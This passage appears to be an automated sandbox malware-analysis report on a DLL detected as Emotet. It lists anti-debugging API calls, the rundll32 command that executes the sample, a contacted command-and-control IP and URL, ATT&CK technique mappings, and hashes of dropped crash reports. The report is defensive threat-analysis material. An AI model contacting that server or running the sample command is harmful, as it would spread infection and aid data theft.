Source: C:\Windows\System32\loaddll32.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E7BA462 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6E7BA462
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E7C0326 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6E7C0326
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E7BAB0C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6E7BAB0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E7BA462 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6E7BA462
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E7C0326 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6E7C0326
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E7BAB0C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6E7BAB0C

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 45.63.5.129 187

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll",#1	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 6888 -ip 6888	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6888 -s 308	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6888 -ip 6888	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6888 -s 304	Jump to behavior

Source: loaddll32.exe, 00000000.00000000.958967461.0000000001770000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.957163784.0000000001770000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.939113865.0000000001770000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.940086206.0000000001770000.00000002.00020000.sdmp, rundll32.exe, 00000017.00000002.1185190253.00000000036C0000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: loaddll32.exe, 00000000.00000000.958967461.0000000001770000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.957163784.0000000001770000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.939113865.0000000001770000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.940086206.0000000001770000.00000002.00020000.sdmp, rundll32.exe, 00000017.00000002.1185190253.00000000036C0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000000.00000000.958967461.0000000001770000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.957163784.0000000001770000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.939113865.0000000001770000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.940086206.0000000001770000.00000002.00020000.sdmp, rundll32.exe, 00000017.00000002.1185190253.00000000036C0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000000.00000000.958967461.0000000001770000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.957163784.0000000001770000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.939113865.0000000001770000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.940086206.0000000001770000.00000002.00020000.sdmp, rundll32.exe, 00000017.00000002.1185190253.00000000036C0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\rundll32.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E7BA584 cpuid

0_2_6E7BA584

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E7BA755 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6E7BA755

Source: Amcache.hve.17.dr

Binary or memory string: c:\program files\windows defender\msmpeng.exe

Stealing of Sensitive Information:

Yara detected Emotet

Show sources

Source: Yara match	File source: 12.2.rundll32.exe.10b0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.1020000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1170000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1170000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.1170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1203908.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.dd3740.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.3b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1203908.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.5c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1203908.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.1203908.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.rundll32.exe.eb0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.dd3740.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1203908.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1203908.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1170000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.a02240.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10e34a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.5c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.540000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1170000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.rundll32.exe.eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.540000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1203908.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.1203908.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1170000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1203908.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.1020000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.a02240.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.1170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.10b0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.3b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.972240.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.972240.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10e34a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1170000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.1203908.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.913568790.0000000001020000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.939956990.0000000001170000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.930364249.00000000003B0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.913622906.00000000010CA000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.958610660.0000000001170000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.958778791.00000000011EB000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.939332319.00000000005C0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.939371192.000000000095A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1030937060.0000000000DBA000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.989427479.00000000011EB000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.930427759.00000000009EA000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.904116541.00000000006AB000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1031053353.00000000010B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.989393299.0000000001170000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.1139622922.0000000000FAB000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.914845954.0000000000540000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.940009942.00000000011EB000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.956837036.0000000001170000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.939031365.00000000011EB000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.956978658.00000000011EB000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.938967752.0000000001170000.00000040.00000010.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	Path Interception	Process Injection112	Masquerading2	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel11	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion2	LSASS Memory	Query Registry1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer2	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection112	Security Account Manager	Security Software Discovery41	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Deobfuscate/Decode Files or Information1	NTDS	Virtualization/Sandbox Evasion2	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Hidden Files and Directories1	LSA Secrets	Process Discovery3	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information2	Cached Domain Credentials	Remote System Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Rundll321	DCSync	File and Directory Discovery2	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	File Deletion1	Proc Filesystem	System Information Discovery24	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
IGidwJjoUs.dll	18%	Virustotal		Browse
IGidwJjoUs.dll	18%	ReversingLabs	Win32.Infostealer.Convagent

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.2.loaddll32.exe.1170000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
3.2.rundll32.exe.1020000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
0.0.loaddll32.exe.1170000.3.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
0.0.loaddll32.exe.1170000.9.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
12.2.rundll32.exe.10b0000.1.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
0.0.loaddll32.exe.1170000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
7.2.rundll32.exe.5c0000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
0.0.loaddll32.exe.1170000.6.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
2.2.rundll32.exe.540000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
23.2.rundll32.exe.eb0000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
6.2.rundll32.exe.3b0000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://www.disneyplus.com/legal/your-california-privacy-rights	0%	URL Reputation	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://www.disneyplus.com/legal/privacy-policy	0%	URL Reputation	safe
https://45.63.5.129/vIcMmPpXrabVVBXOJgaOKuPeOcCKPXUIh	0%	Avira URL Cloud	safe
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
http://help.disneyplus.com.	0%	URL Reputation	safe
https://disneyplus.com/legal.	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://45.63.5.129/vIcMmPpXrabVVBXOJgaOKuPeOcCKPXUIh	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.disneyplus.com/legal/your-california-privacy-rights	svchost.exe, 0000001F.00000003.1150795758.0000015108B8F000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.1150829061.0000015108BD0000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://crl.ver)	svchost.exe, 0000001F.00000002.1175003928.00000151084EB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://www.disneyplus.com/legal/privacy-policy	svchost.exe, 0000001F.00000003.1150795758.0000015108B8F000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.1150829061.0000015108BD0000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.17.dr	false		high
https://www.tiktok.com/legal/report/feedback	svchost.exe, 0000001F.00000003.1153314663.0000015108B7E000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.1153380650.0000015109002000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.1153337846.0000015108B8F000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.1153407395.0000015108B7E000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://help.disneyplus.com.	svchost.exe, 0000001F.00000003.1150795758.0000015108B8F000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.1150829061.0000015108BD0000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://disneyplus.com/legal.	svchost.exe, 0000001F.00000003.1150795758.0000015108B8F000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000003.1150829061.0000015108BD0000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.63.5.129	unknown	United States		20473	AS-CHOOPAUS	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	532314
Start date:	02.12.2021
Start time:	00:51:12
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	IGidwJjoUs (renamed file extension from none to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	33
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.troj.evad.winDLL@36/14@0/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 47.2% (good quality ratio 43.7%) Quality average: 70.7% Quality standard deviation: 27.4%
HCA Information:	Successful, ratio: 84% Number of executed functions: 60 Number of non-executed functions: 84
Cookbook Comments:	Adjust boot time Enable AMSI Override analysis time to 240s for rundll32
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, BackgroundTransferHost.exe, UpdateNotificationMgr.exe, backgroundTaskHost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 204.79.197.222, 13.89.179.12, 40.91.112.76, 52.251.79.25, 20.54.110.249 Excluded domains from analysis (whitelisted): fp.msedge.net, displaycatalog-rp-uswest.md.mp.microsoft.com.akadns.net, s-ring.msedge.net, consumer-displaycatalogrp-aks2aks-useast.md.mp.microsoft.com.akadns.net, onedsblobprdcus17.centralus.cloudapp.azure.com, wus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, arc.msn.com, a-0019.a-msedge.net, go.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, a-0019.standard.a-msedge.net, 1.perf.msedge.net, consumer-displaycatalogrp-aks2aks-uswest.md.mp.microsoft.com.akadns.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, eus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, t-ring.msedge.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, displaycatalog-rp-useast.md.mp.microsoft.com.akadns.net, teams-ring.msedge.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:54:39	API Interceptor	1x Sleep call for process: WerFault.exe modified
00:55:56	API Interceptor	7x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
45.63.5.129	efELSMI5R4.dll	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AS-CHOOPAUS	efELSMI5R4.dll	Get hash	malicious	Browse	45.63.5.129
	ImSL42AOtZ.exe	Get hash	malicious	Browse	45.63.36.79
	spZRMihlrkFGqYq1f.dll	Get hash	malicious	Browse	66.42.57.149
	spZRMihlrkFGqYq1f.dll	Get hash	malicious	Browse	66.42.57.149
	iU17wh2uUd.exe	Get hash	malicious	Browse	149.28.253.196
	iU17wh2uUd.exe	Get hash	malicious	Browse	149.28.253.196
	Sz4lxTmH7r.exe	Get hash	malicious	Browse	149.28.253.196
	7AF33E5528AB8A8F45EE7B8C4DD24B4014FEAA6E1D310.exe	Get hash	malicious	Browse	149.28.253.196
	RFIlSRQKzj.exe	Get hash	malicious	Browse	45.32.115.235
	setup_x86_x64_install.exe	Get hash	malicious	Browse	149.28.253.196
	991D4DC612FF80AB2506510DBA31531DB995FE3F64318.exe	Get hash	malicious	Browse	149.28.253.196
	MMUc2aeWxZ.exe	Get hash	malicious	Browse	149.28.253.196
	0pvsj0MF1D.exe	Get hash	malicious	Browse	149.28.253.196
	Linux_amd64	Get hash	malicious	Browse	45.32.162.141
	nkXzJnW7AH.exe	Get hash	malicious	Browse	149.28.253.196
	67MPsax8fd.exe	Get hash	malicious	Browse	136.244.117.138
	Linux_x86	Get hash	malicious	Browse	45.77.44.252
	uI6mJo4TJQ.exe	Get hash	malicious	Browse	149.28.253.196
	uI6mJo4TJQ.exe	Get hash	malicious	Browse	149.28.253.196
	M2jG6lMe7Y.exe	Get hash	malicious	Browse	202.182.120.6

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
51c64c77e60f3980eea90869b68c58a8	efELSMI5R4.dll	Get hash	malicious	Browse	45.63.5.129
	TYLNb8VvnmYA.dll	Get hash	malicious	Browse	45.63.5.129
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse	45.63.5.129
	spZRMihlrkFGqYq1f.dll	Get hash	malicious	Browse	45.63.5.129
	spZRMihlrkFGqYq1f.dll	Get hash	malicious	Browse	45.63.5.129
	fehiVK2JSx.dll	Get hash	malicious	Browse	45.63.5.129
	kQ9HU0gKVH.exe	Get hash	malicious	Browse	45.63.5.129
	gvtdsqavfej.dll	Get hash	malicious	Browse	45.63.5.129
	mhOX6jll6x.dll	Get hash	malicious	Browse	45.63.5.129
	dguQYT8p8j.dll	Get hash	malicious	Browse	45.63.5.129
	jSxIzXfwc7.dll	Get hash	malicious	Browse	45.63.5.129
	mhOX6jll6x.dll	Get hash	malicious	Browse	45.63.5.129
	X2XCewI2Yy.dll	Get hash	malicious	Browse	45.63.5.129
	dguQYT8p8j.dll	Get hash	malicious	Browse	45.63.5.129
	date1%3fBNLv65=pAAS.dll	Get hash	malicious	Browse	45.63.5.129
	HMvjzUYq2h.dll	Get hash	malicious	Browse	45.63.5.129
	s9BZBDWmi4.dll	Get hash	malicious	Browse	45.63.5.129
	bFx5bZRC6P.dll	Get hash	malicious	Browse	45.63.5.129
	c7IUEh66u6.dll	Get hash	malicious	Browse	45.63.5.129
	HMvjzUYq2h.dll	Get hash	malicious	Browse	45.63.5.129

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_88e9c9cb640b4f665f2020b110738337d7578_d70d8aa6_1abcca4e\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6752625502343687
Encrypted:	false
SSDEEP:	96:CcDjZqy1y9hkoyt7Jf0pXIQcQ5c6A2cE2cw33+a+z+HbHgjVG4rmMOyWZAXGng5u:hBKHnM28jj/q/u7stS274ItW
MD5:	25CC53A9A19F4661D37FA80AD23302F1
SHA1:	33ECA18CB2A5714055E539CA8025E81FB2C758FC
SHA-256:	236B1E7B6982B9AB6DC2CB26E142C055BBEFD18FF6BDB9F26EC019602C85AF75
SHA-512:	B7D88A0100BE52C0D88FB5530991778B233E742E2D687B84C78ED1A0E6F3D6B5616225156D59DC67A00D11CA255FD073408F9D781BCBBB311A65107C84F8907C
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.2.8.7.6.4.6.0.6.8.0.2.7.2.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.e.2.5.0.8.d.c.-.b.3.4.8.-.4.8.6.8.-.9.4.9.6.-.3.9.c.f.e.f.9.4.3.5.a.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.6.c.8.e.3.1.4.-.5.0.f.1.-.4.b.4.2.-.a.b.3.2.-.9.6.a.5.3.6.8.7.8.3.f.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.l.o.a.d.d.l.l.3.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.e.8.-.0.0.0.1.-.0.0.1.b.-.2.3.c.1.-.6.3.7.2.0.e.e.7.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!.l.o.a.d.d.l.l.3.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.1././.0.9././.2.8.:.1.1.:.5.3.:.0.5.!.0.!.l.o.a.d.d.l.l.3.2...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_d71d33d652a62c864cb684e881f783bcee8c2df7_d70d8aa6_0d790757\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6785382072555216
Encrypted:	false
SSDEEP:	96:CQfWFS5yBjZqyOy9hk1Dg3fWpXIQcQ55c65HcETcw3k+a+z+HbHgjVG4rmMOyWZD:qo5y7BWHpt5Oj/q/u7stS274ItWu
MD5:	88F617AF6080EDEF1C47006810095DAA
SHA1:	3D21887A9A4ED40A09AC5E34CEE78277A246C143
SHA-256:	554270AFF664AAFFCD47524C00F1073E42E83E20CB55DAFB7A72781876A8669C
SHA-512:	53CCBAB573B4D39E636957D64CCDCF32ABEDFD0827F4644CE2784C4BC1096E2C0D7D9C218493CFB9246045C0EF7AEBFAA957E909FAB7186E07B1E64CE15283C2
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.2.8.7.6.4.6.9.0.1.0.4.1.3.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.8.2.8.7.6.4.7.8.5.5.7.2.5.2.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.a.c.8.0.4.4.d.-.7.e.d.7.-.4.e.e.0.-.9.9.7.2.-.d.1.4.f.0.b.e.9.0.5.c.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.f.6.9.2.9.7.b.-.6.a.a.5.-.4.4.9.4.-.8.0.d.c.-.5.9.2.4.f.e.e.e.c.0.8.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.l.o.a.d.d.l.l.3.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.e.8.-.0.0.0.1.-.0.0.1.b.-.2.3.c.1.-.6.3.7.2.0.e.e.7.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.d.a.3.9.a.3.e.e.5.e.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.!